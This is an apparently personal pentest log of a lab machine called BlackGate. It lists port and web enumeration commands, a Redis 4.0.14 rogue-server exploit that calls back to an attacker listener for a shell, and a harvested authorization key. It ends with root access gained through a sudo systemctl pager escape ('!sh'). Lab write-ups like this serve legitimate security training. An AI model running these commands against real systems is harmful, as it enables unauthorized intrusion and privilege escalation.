BlackGate

๐Ÿงช Pentest Log: {{date:2025-08-12}}

๐Ÿ” Target Information

ip=192.168.199.176

๐Ÿ“ก Enumeration

๐Ÿ”Œ Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 22

Port 6379

Redis key-value store 4.0.14

Web Content Enumeration

gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt

dirsearch -u http://$ip -r -o dirsearch.txt

Google "Redis key-value store 4.0.14 exploit", found

https://github.com/n0b0dyCN/redis-rogue-server

๐Ÿ’ฃ Exploitation

๐Ÿ“Œ Vulnerability Summary

๐Ÿš€ Exploit Execution

๐Ÿ”ง Exploit Method

Tool / Script Used:

https://github.com/n0b0dyCN/redis-rogue-server

python3 redis-rogue-server.py --rhost $ip --lhost 192.168.45.163

python3 /home/kali/Documents/oscp/penelope/penelope.py -p 6379

ClimbingParrotKickingDonkey321

๐Ÿงฌ Privilege Escalation

๐Ÿ‘ค Current Access

๐Ÿ” Enumeration

Sudo:

sudo -l

found

User prudence may run the following commands on blackgate:
    (root) NOPASSWD: /usr/local/bin/redis-status
strings /usr/local/bin/redis-status

found

Authorization Key: 
ClimbingParrotKickingDonkey321
/usr/bin/systemctl status redis

๐Ÿ”“ Privilege Escalation Exploit

๐Ÿ“Œ Exploit Summary

๐Ÿ”ง Exploit Steps

sudo /usr/bin/systemctl status redis
ClimbingParrotKickingDonkey321

!sh